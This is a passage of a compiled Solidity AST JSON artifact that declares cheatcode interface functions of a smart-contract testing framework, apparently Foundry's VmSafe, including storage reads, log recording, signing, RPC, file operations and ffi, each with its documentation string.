address."},"functionSelector":"2f2fd63f","implemented":false,"kind":"function","modifiers":[],"name":"getMappingLength","nameLocation":"17780:16:13","parameters":{"id":12563,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12560,"mutability":"mutable","name":"target","nameLocation":"17805:6:13","nodeType":"VariableDeclaration","scope":12567,"src":"17797:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12559,"name":"address","nodeType":"ElementaryTypeName","src":"17797:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12562,"mutability":"mutable","name":"mappingSlot","nameLocation":"17821:11:13","nodeType":"VariableDeclaration","scope":12567,"src":"17813:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12561,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17813:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"17796:37:13"},"returnParameters":{"id":12566,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12565,"mutability":"mutable","name":"length","nameLocation":"17860:6:13","nodeType":"VariableDeclaration","scope":12567,"src":"17852:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12564,"name":"uint256","nodeType":"ElementaryTypeName","src":"17852:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17851:16:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12579,"nodeType":"FunctionDefinition","src":"18072:109:13","nodes":[],"documentation":{"id":12568,"nodeType":"StructuredDocumentation","src":"17874:193:13","text":"Gets the elements at index idx of the mapping at the given slot, for a given address. The\n index must be less than the length of the mapping (i.e. the number of keys in the mapping)."},"functionSelector":"ebc73ab4","implemented":false,"kind":"function","modifiers":[],"name":"getMappingSlotAt","nameLocation":"18081:16:13","parameters":{"id":12575,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12570,"mutability":"mutable","name":"target","nameLocation":"18106:6:13","nodeType":"VariableDeclaration","scope":12579,"src":"18098:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12569,"name":"address","nodeType":"ElementaryTypeName","src":"18098:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12572,"mutability":"mutable","name":"mappingSlot","nameLocation":"18122:11:13","nodeType":"VariableDeclaration","scope":12579,"src":"18114:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12571,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18114:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12574,"mutability":"mutable","name":"idx","nameLocation":"18143:3:13","nodeType":"VariableDeclaration","scope":12579,"src":"18135:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12573,"name":"uint256","nodeType":"ElementaryTypeName","src":"18135:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"18097:50:13"},"returnParameters":{"id":12578,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12577,"mutability":"mutable","name":"value","nameLocation":"18174:5:13","nodeType":"VariableDeclaration","scope":12579,"src":"18166:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12576,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18166:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"18165:15:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12587,"nodeType":"FunctionDefinition","src":"18225:72:13","nodes":[],"documentation":{"id":12580,"nodeType":"StructuredDocumentation","src":"18187:33:13","text":"Gets the nonce of an account."},"functionSelector":"2d0335ab","implemented":false,"kind":"function","modifiers":[],"name":"getNonce","nameLocation":"18234:8:13","parameters":{"id":12583,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12582,"mutability":"mutable","name":"account","nameLocation":"18251:7:13","nodeType":"VariableDeclaration","scope":12587,"src":"18243:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12581,"name":"address","nodeType":"ElementaryTypeName","src":"18243:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"18242:17:13"},"returnParameters":{"id":12586,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12585,"mutability":"mutable","name":"nonce","nameLocation":"18290:5:13","nodeType":"VariableDeclaration","scope":12587,"src":"18283:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12584,"name":"uint64","nodeType":"ElementaryTypeName","src":"18283:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"18282:14:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12595,"nodeType":"FunctionDefinition","src":"18339:64:13","nodes":[],"documentation":{"id":12588,"nodeType":"StructuredDocumentation","src":"18303:31:13","text":"Gets all the recorded logs."},"functionSelector":"191553a4","implemented":false,"kind":"function","modifiers":[],"name":"getRecordedLogs","nameLocation":"18348:15:13","parameters":{"id":12589,"nodeType":"ParameterList","parameters":[],"src":"18363:2:13"},"returnParameters":{"id":12594,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12593,"mutability":"mutable","name":"logs","nameLocation":"18397:4:13","nodeType":"VariableDeclaration","scope":12595,"src":"18384:17:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log[]"},"typeName":{"baseType":{"id":12591,"nodeType":"UserDefinedTypeName","pathNode":{"id":12590,"name":"Log","nameLocations":["18384:3:13"],"nodeType":"IdentifierPath","referencedDeclaration":12060,"src":"18384:3:13"},"referencedDeclaration":12060,"src":"18384:3:13","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_storage_ptr","typeString":"struct VmSafe.Log"}},"id":12592,"nodeType":"ArrayTypeName","src":"18384:5:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_storage_$dyn_storage_ptr","typeString":"struct VmSafe.Log[]"}},"visibility":"internal"}],"src":"18383:19:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12605,"nodeType":"FunctionDefinition","src":"18455:81:13","nodes":[],"documentation":{"id":12596,"nodeType":"StructuredDocumentation","src":"18409:41:13","text":"Loads a storage slot from an address."},"functionSelector":"667f9d70","implemented":false,"kind":"function","modifiers":[],"name":"load","nameLocation":"18464:4:13","parameters":{"id":12601,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12598,"mutability":"mutable","name":"target","nameLocation":"18477:6:13","nodeType":"VariableDeclaration","scope":12605,"src":"18469:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12597,"name":"address","nodeType":"ElementaryTypeName","src":"18469:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12600,"mutability":"mutable","name":"slot","nameLocation":"18493:4:13","nodeType":"VariableDeclaration","scope":12605,"src":"18485:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12599,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18485:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"18468:30:13"},"returnParameters":{"id":12604,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12603,"mutability":"mutable","name":"data","nameLocation":"18530:4:13","nodeType":"VariableDeclaration","scope":12605,"src":"18522:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12602,"name":"bytes32","nodeType":"ElementaryTypeName","src":"18522:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"18521:14:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12609,"nodeType":"FunctionDefinition","src":"18627:37:13","nodes":[],"documentation":{"id":12606,"nodeType":"StructuredDocumentation","src":"18542:80:13","text":"Pauses gas metering (i.e. gas usage is not counted). Noop if already paused."},"functionSelector":"d1a5b36f","implemented":false,"kind":"function","modifiers":[],"name":"pauseGasMetering","nameLocation":"18636:16:13","parameters":{"id":12607,"nodeType":"ParameterList","parameters":[],"src":"18652:2:13"},"returnParameters":{"id":12608,"nodeType":"ParameterList","parameters":[],"src":"18663:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12613,"nodeType":"FunctionDefinition","src":"18716:27:13","nodes":[],"documentation":{"id":12610,"nodeType":"StructuredDocumentation","src":"18670:41:13","text":"Records all storage reads and writes."},"functionSelector":"266cf109","implemented":false,"kind":"function","modifiers":[],"name":"record","nameLocation":"18725:6:13","parameters":{"id":12611,"nodeType":"ParameterList","parameters":[],"src":"18731:2:13"},"returnParameters":{"id":12612,"nodeType":"ParameterList","parameters":[],"src":"18742:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12617,"nodeType":"FunctionDefinition","src":"18790:31:13","nodes":[],"documentation":{"id":12614,"nodeType":"StructuredDocumentation","src":"18749:36:13","text":"Record all the transaction logs."},"functionSelector":"41af2f52","implemented":false,"kind":"function","modifiers":[],"name":"recordLogs","nameLocation":"18799:10:13","parameters":{"id":12615,"nodeType":"ParameterList","parameters":[],"src":"18809:2:13"},"returnParameters":{"id":12616,"nodeType":"ParameterList","parameters":[],"src":"18820:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12621,"nodeType":"FunctionDefinition","src":"18911:38:13","nodes":[],"documentation":{"id":12618,"nodeType":"StructuredDocumentation","src":"18827:79:13","text":"Resumes gas metering (i.e. gas usage is counted again). Noop if already on."},"functionSelector":"2bcd50e0","implemented":false,"kind":"function","modifiers":[],"name":"resumeGasMetering","nameLocation":"18920:17:13","parameters":{"id":12619,"nodeType":"ParameterList","parameters":[],"src":"18937:2:13"},"returnParameters":{"id":12620,"nodeType":"ParameterList","parameters":[],"src":"18948:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12631,"nodeType":"FunctionDefinition","src":"19026:98:13","nodes":[],"documentation":{"id":12622,"nodeType":"StructuredDocumentation","src":"18955:66:13","text":"Performs an Ethereum JSON-RPC request to the current fork URL."},"functionSelector":"1206c8a8","implemented":false,"kind":"function","modifiers":[],"name":"rpc","nameLocation":"19035:3:13","parameters":{"id":12627,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12624,"mutability":"mutable","name":"method","nameLocation":"19055:6:13","nodeType":"VariableDeclaration","scope":12631,"src":"19039:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12623,"name":"string","nodeType":"ElementaryTypeName","src":"19039:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12626,"mutability":"mutable","name":"params","nameLocation":"19079:6:13","nodeType":"VariableDeclaration","scope":12631,"src":"19063:22:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12625,"name":"string","nodeType":"ElementaryTypeName","src":"19063:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"19038:48:13"},"returnParameters":{"id":12630,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12629,"mutability":"mutable","name":"data","nameLocation":"19118:4:13","nodeType":"VariableDeclaration","scope":12631,"src":"19105:17:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12628,"name":"bytes","nodeType":"ElementaryTypeName","src":"19105:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"19104:19:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12643,"nodeType":"FunctionDefinition","src":"19198:99:13","nodes":[],"documentation":{"id":12632,"nodeType":"StructuredDocumentation","src":"19130:63:13","text":"Signs `digest` with `privateKey` using the secp256r1 curve."},"functionSelector":"83211b40","implemented":false,"kind":"function","modifiers":[],"name":"signP256","nameLocation":"19207:8:13","parameters":{"id":12637,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12634,"mutability":"mutable","name":"privateKey","nameLocation":"19224:10:13","nodeType":"VariableDeclaration","scope":12643,"src":"19216:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12633,"name":"uint256","nodeType":"ElementaryTypeName","src":"19216:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12636,"mutability":"mutable","name":"digest","nameLocation":"19244:6:13","nodeType":"VariableDeclaration","scope":12643,"src":"19236:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12635,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19236:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"19215:36:13"},"returnParameters":{"id":12642,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12639,"mutability":"mutable","name":"r","nameLocation":"19283:1:13","nodeType":"VariableDeclaration","scope":12643,"src":"19275:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12638,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19275:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12641,"mutability":"mutable","name":"s","nameLocation":"19294:1:13","nodeType":"VariableDeclaration","scope":12643,"src":"19286:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12640,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19286:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"19274:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12657,"nodeType":"FunctionDefinition","src":"19371:104:13","nodes":[],"documentation":{"id":12644,"nodeType":"StructuredDocumentation","src":"19303:63:13","text":"Signs `digest` with `privateKey` using the secp256k1 curve."},"functionSelector":"e341eaa4","implemented":false,"kind":"function","modifiers":[],"name":"sign","nameLocation":"19380:4:13","parameters":{"id":12649,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12646,"mutability":"mutable","name":"privateKey","nameLocation":"19393:10:13","nodeType":"VariableDeclaration","scope":12657,"src":"19385:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12645,"name":"uint256","nodeType":"ElementaryTypeName","src":"19385:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12648,"mutability":"mutable","name":"digest","nameLocation":"19413:6:13","nodeType":"VariableDeclaration","scope":12657,"src":"19405:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12647,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19405:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"19384:36:13"},"returnParameters":{"id":12656,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12651,"mutability":"mutable","name":"v","nameLocation":"19450:1:13","nodeType":"VariableDeclaration","scope":12657,"src":"19444:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":12650,"name":"uint8","nodeType":"ElementaryTypeName","src":"19444:5:13","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"visibility":"internal"},{"constant":false,"id":12653,"mutability":"mutable","name":"r","nameLocation":"19461:1:13","nodeType":"VariableDeclaration","scope":12657,"src":"19453:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12652,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19453:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12655,"mutability":"mutable","name":"s","nameLocation":"19472:1:13","nodeType":"VariableDeclaration","scope":12657,"src":"19464:9:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12654,"name":"bytes32","nodeType":"ElementaryTypeName","src":"19464:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"19443:31:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":12661,"nodeType":"FunctionDefinition","src":"19543:42:13","nodes":[],"documentation":{"id":12658,"nodeType":"StructuredDocumentation","src":"19481:57:13","text":"Starts recording all map SSTOREs for later retrieval."},"functionSelector":"3e9705c0","implemented":false,"kind":"function","modifiers":[],"name":"startMappingRecording","nameLocation":"19552:21:13","parameters":{"id":12659,"nodeType":"ParameterList","parameters":[],"src":"19573:2:13"},"returnParameters":{"id":12660,"nodeType":"ParameterList","parameters":[],"src":"19584:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12665,"nodeType":"FunctionDefinition","src":"19729:44:13","nodes":[],"documentation":{"id":12662,"nodeType":"StructuredDocumentation","src":"19591:133:13","text":"Record all account accesses as part of CREATE, CALL or SELFDESTRUCT opcodes in order,\n along with the context of the calls"},"functionSelector":"cf22e3c9","implemented":false,"kind":"function","modifiers":[],"name":"startStateDiffRecording","nameLocation":"19738:23:13","parameters":{"id":12663,"nodeType":"ParameterList","parameters":[],"src":"19761:2:13"},"returnParameters":{"id":12664,"nodeType":"ParameterList","parameters":[],"src":"19772:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12673,"nodeType":"FunctionDefinition","src":"19881:92:13","nodes":[],"documentation":{"id":12666,"nodeType":"StructuredDocumentation","src":"19779:97:13","text":"Returns an ordered array of all account accesses from a `vm.startStateDiffRecording` session."},"functionSelector":"aa5cf90e","implemented":false,"kind":"function","modifiers":[],"name":"stopAndReturnStateDiff","nameLocation":"19890:22:13","parameters":{"id":12667,"nodeType":"ParameterList","parameters":[],"src":"19912:2:13"},"returnParameters":{"id":12672,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12671,"mutability":"mutable","name":"accountAccesses","nameLocation":"19956:15:13","nodeType":"VariableDeclaration","scope":12673,"src":"19933:38:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccountAccess_$12171_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.AccountAccess[]"},"typeName":{"baseType":{"id":12669,"nodeType":"UserDefinedTypeName","pathNode":{"id":12668,"name":"AccountAccess","nameLocations":["19933:13:13"],"nodeType":"IdentifierPath","referencedDeclaration":12171,"src":"19933:13:13"},"referencedDeclaration":12171,"src":"19933:13:13","typeDescriptions":{"typeIdentifier":"t_struct$_AccountAccess_$12171_storage_ptr","typeString":"struct VmSafe.AccountAccess"}},"id":12670,"nodeType":"ArrayTypeName","src":"19933:15:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_AccountAccess_$12171_storage_$dyn_storage_ptr","typeString":"struct VmSafe.AccountAccess[]"}},"visibility":"internal"}],"src":"19932:40:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12677,"nodeType":"FunctionDefinition","src":"20069:41:13","nodes":[],"documentation":{"id":12674,"nodeType":"StructuredDocumentation","src":"19979:85:13","text":"Stops recording all map SSTOREs for later retrieval and clears the recorded data."},"functionSelector":"0d4aae9b","implemented":false,"kind":"function","modifiers":[],"name":"stopMappingRecording","nameLocation":"20078:20:13","parameters":{"id":12675,"nodeType":"ParameterList","parameters":[],"src":"20098:2:13"},"returnParameters":{"id":12676,"nodeType":"ParameterList","parameters":[],"src":"20109:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12683,"nodeType":"FunctionDefinition","src":"20309:50:13","nodes":[],"documentation":{"id":12678,"nodeType":"StructuredDocumentation","src":"20153:151:13","text":"Closes file for reading, resetting the offset and allowing to read it from beginning with readLine.\n `path` is relative to the project root."},"functionSelector":"48c3241f","implemented":false,"kind":"function","modifiers":[],"name":"closeFile","nameLocation":"20318:9:13","parameters":{"id":12681,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12680,"mutability":"mutable","name":"path","nameLocation":"20344:4:13","nodeType":"VariableDeclaration","scope":12683,"src":"20328:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12679,"name":"string","nodeType":"ElementaryTypeName","src":"20328:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"20327:22:13"},"returnParameters":{"id":12682,"nodeType":"ParameterList","parameters":[],"src":"20358:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12693,"nodeType":"FunctionDefinition","src":"20674:93:13","nodes":[],"documentation":{"id":12684,"nodeType":"StructuredDocumentation","src":"20365:304:13","text":"Copies the contents of one file to another. This function will **overwrite** the contents of `to`.\n On success, the total number of bytes copied is returned and it is equal to the length of the `to` file as reported by `metadata`.\n Both `from` and `to` are relative to the project root."},"functionSelector":"a54a87d8","implemented":false,"kind":"function","modifiers":[],"name":"copyFile","nameLocation":"20683:8:13","parameters":{"id":12689,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12686,"mutability":"mutable","name":"from","nameLocation":"20708:4:13","nodeType":"VariableDeclaration","scope":12693,"src":"20692:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12685,"name":"string","nodeType":"ElementaryTypeName","src":"20692:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12688,"mutability":"mutable","name":"to","nameLocation":"20730:2:13","nodeType":"VariableDeclaration","scope":12693,"src":"20714:18:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12687,"name":"string","nodeType":"ElementaryTypeName","src":"20714:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"20691:42:13"},"returnParameters":{"id":12692,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12691,"mutability":"mutable","name":"copied","nameLocation":"20759:6:13","nodeType":"VariableDeclaration","scope":12693,"src":"20752:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12690,"name":"uint64","nodeType":"ElementaryTypeName","src":"20752:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"20751:15:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12701,"nodeType":"FunctionDefinition","src":"21172:66:13","nodes":[],"documentation":{"id":12694,"nodeType":"StructuredDocumentation","src":"20773:394:13","text":"Creates a new, empty directory at the provided path.\n This cheatcode will revert in the following situations, but is not limited to just these cases:\n - User lacks permissions to modify `path`.\n - A parent of the given path doesn't exist and `recursive` is false.\n - `path` already exists and `recursive` is false.\n `path` is relative to the project root."},"functionSelector":"168b64d3","implemented":false,"kind":"function","modifiers":[],"name":"createDir","nameLocation":"21181:9:13","parameters":{"id":12699,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12696,"mutability":"mutable","name":"path","nameLocation":"21207:4:13","nodeType":"VariableDeclaration","scope":12701,"src":"21191:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12695,"name":"string","nodeType":"ElementaryTypeName","src":"21191:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12698,"mutability":"mutable","name":"recursive","nameLocation":"21218:9:13","nodeType":"VariableDeclaration","scope":12701,"src":"21213:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12697,"name":"bool","nodeType":"ElementaryTypeName","src":"21213:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"21190:38:13"},"returnParameters":{"id":12700,"nodeType":"ParameterList","parameters":[],"src":"21237:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12709,"nodeType":"FunctionDefinition","src":"21333:69:13","nodes":[],"documentation":{"id":12702,"nodeType":"StructuredDocumentation","src":"21244:84:13","text":"Returns true if the given path points to an existing entity, else returns false."},"functionSelector":"261a323e","implemented":false,"kind":"function","modifiers":[],"name":"exists","nameLocation":"21342:6:13","parameters":{"id":12705,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12704,"mutability":"mutable","name":"path","nameLocation":"21365:4:13","nodeType":"VariableDeclaration","scope":12709,"src":"21349:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12703,"name":"string","nodeType":"ElementaryTypeName","src":"21349:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21348:22:13"},"returnParameters":{"id":12708,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12707,"mutability":"mutable","name":"result","nameLocation":"21394:6:13","nodeType":"VariableDeclaration","scope":12709,"src":"21389:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12706,"name":"bool","nodeType":"ElementaryTypeName","src":"21389:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"21388:13:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12718,"nodeType":"FunctionDefinition","src":"21467:84:13","nodes":[],"documentation":{"id":12710,"nodeType":"StructuredDocumentation","src":"21408:54:13","text":"Performs a foreign function call via the terminal."},"functionSelector":"89160467","implemented":false,"kind":"function","modifiers":[],"name":"ffi","nameLocation":"21476:3:13","parameters":{"id":12714,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12713,"mutability":"mutable","name":"commandInput","nameLocation":"21498:12:13","nodeType":"VariableDeclaration","scope":12718,"src":"21480:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":12711,"name":"string","nodeType":"ElementaryTypeName","src":"21480:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":12712,"nodeType":"ArrayTypeName","src":"21480:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"21479:32:13"},"returnParameters":{"id":12717,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12716,"mutability":"mutable","name":"result","nameLocation":"21543:6:13","nodeType":"VariableDeclaration","scope":12718,"src":"21530:19:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12715,"name":"bytes","nodeType":"ElementaryTypeName","src":"21530:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"21529:21:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12727,"nodeType":"FunctionDefinition","src":"21650:93:13","nodes":[],"documentation":{"id":12719,"nodeType":"StructuredDocumentation","src":"21557:88:13","text":"Given a path, query the file system to get information about a file, directory, 